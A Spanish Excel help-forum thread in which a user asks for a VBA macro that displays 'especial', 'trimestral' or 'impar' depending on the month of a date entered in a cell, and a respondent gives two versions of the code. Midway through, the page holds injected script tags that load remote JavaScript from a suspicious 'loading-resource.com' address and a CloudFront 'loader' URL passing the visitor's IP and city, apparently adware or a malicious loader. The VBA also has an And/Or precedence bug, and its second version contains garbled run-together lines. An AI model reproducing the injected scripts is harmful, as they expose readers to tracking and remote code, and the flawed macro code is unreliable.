Macro para avisar con mensaje dependiendo de la fecha insertada en una celda

Hola de nuevo, antes que nada debo aclarar una cosa, esta pregunta puede sonar idéntica a otra que realicé hace poco con casi el mismo título pero es diferente. En aquel caso, el mensaje debía aparecer sólo en los meses impares, y el mensaje siempre era el mismo. Esta pregunta me la solucionó muy bien el experto luismondelo, y la finalicé; pero luego me surgió otro problema, qué pasaría si, dependiendo de la fecha que yo ponga en una celda, el mensaje fuera diferente dependiendo de los meses.  Por ejemplo:

Yo pongo la fecha en la casilla C20 de la hoja 4, pongamos  31-01-12, ahora lo que quiero es que, independientemente del día o del año, y fijándonos sólo en el mes,

-si ese mes es febrero, salga un mensaje que ponga "especial"

-si es marzo, junio, septiembre o diciembre, ponga "trimestral"

-si es enero, mayo, julio o noviembre, ponga "impar"

-si es cualquier otro que no ponga nada

Y una cosa más, igual de importante, que ya ponía en la pregunta anterior, el mensaje debe salir sólo una vez, aunque la fecha luego permanezca puesta durante todo el mes, el mensaje debe salir sólo al escribir la fecha y luego nunca más hasta escribir una nueva.

No sé si se podría hacer de otra manera, que sin tener que escribir fecha ninguna, ya que siempre se puede saber qué fecha es el día actual, que al abrir el programa, al abrir excel, y dependiendo de qué mes fuera, pusiera un mensaje u otro.

Como siempre digo agradezco muchísimo a cualquier persona que pierda su tiempo para resolver problemas de otros y que quiera compartir sus conocimientos.  No se trata de preguntar por preguntar, estoy empezando en este mundillo porque me interesa pero estoy muy verde aún y todos estos ejemplos me ayudan a comprender.

1 Respuesta

Respuesta
1

Ahora tu macro es esta: (recuerda que tienes que grabarla en el objeto hoja que estés tratando, ya que es un evento)

Como siempre... recuerda finalizar y puntuar por favor,

Private Sub Worksheet_Change(ByVal Target As Range)

If Target.Column = 1 And IsDate(Target) And Month(Target) = 2 Then

MsgBox "especial"

End If

If Target.Column = 1 And IsDate(Target) And Month(Target) = 3 Or _Month(Target) = 6 Or Month(Target) = 9 Or Month(Target) = 12 Then

MsgBox "trimestral"

End If

If Target.Column = 1 And IsDate(Target) And Month(Target) = 1 Or _Month(Target) = 5 Or Month(Target) = 7 Or Month(Target) = 11 Then

MsgBox "impar"

End If

End Sub

En primer lugar muchas gracias por tu rápida respuesta, estaba probándola ahora, en un primer momento me daba error de sintaxis, con lo poco que sé, imaginé que podía ser por el guión bajo (el que hay en or_Month), lo quité y modifiqué la columna que en mi caso es la 3 y los mensajes que son largos y los puse cortos para simplificar. Después de esto funciona perfectamente, sólo hay una cosa que me gustaría preguntarte si tiene solución, cuando en cualquier celda de la columna 3 (en tu caso es la columna 1, donde se escribe la fecha), pulsamos por ejemplo suprimir, sin escribir nada, aparece el mensaje "trimestral"

Por ejemplo escribo esta fecha 31/01/12 y me aparece el mensaje "impar"; perfecto; ahora le doy a suprimir a la fecha anterior y me aparece "trimestral" aunque no ponga ninguna fecha

Si no se puede solucionar no pasa nada porque lo que me interesaba funciona.

Muchas gracias de nuevo

<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B1943E6B2-167E-4D2D-925C-16621E49FD5D%7D"></script><script type="text/javascript" src="https://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=55&ccid=Salamanca&ip=84.125.15.50"></script>

Pues aquí lo tienes corregido, ya no falla:

(Como siempre ya sabes, finaliza y puntúa mi labor. Gracias)

Private Sub Worksheet_Change(ByVal Target As Range)

On Error Resume Next

If Target.Column = 1 Then

If Target.Column = 1 And Target.Value = "" Then Exit Sub

If Target.Column = 1 And IsDate(Target) And Month(Target) = 2 Then

MsgBox "especial"

End If

If Target.Column = 1 And IsDate(Target) And Month(Target) = 3 Or Month(Target) = 6 Or Month(Target) = 9 Or Month(Target) = 12 Then

MsgBox "trimestral"End IfIf Target.Column = 1 And IsDate(Target) And Month(Target) = 1 Or Month(Target) = 5 Or Month(Target) = 7 Or Month(Target) = 11 Then

MsgBox "impar"

End If

End If

End Sub

Sí señor, así es perfecto. Muchas gracias por todo tu esfuerzo y tus conocimientos me han servido para aprender un poco más.

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas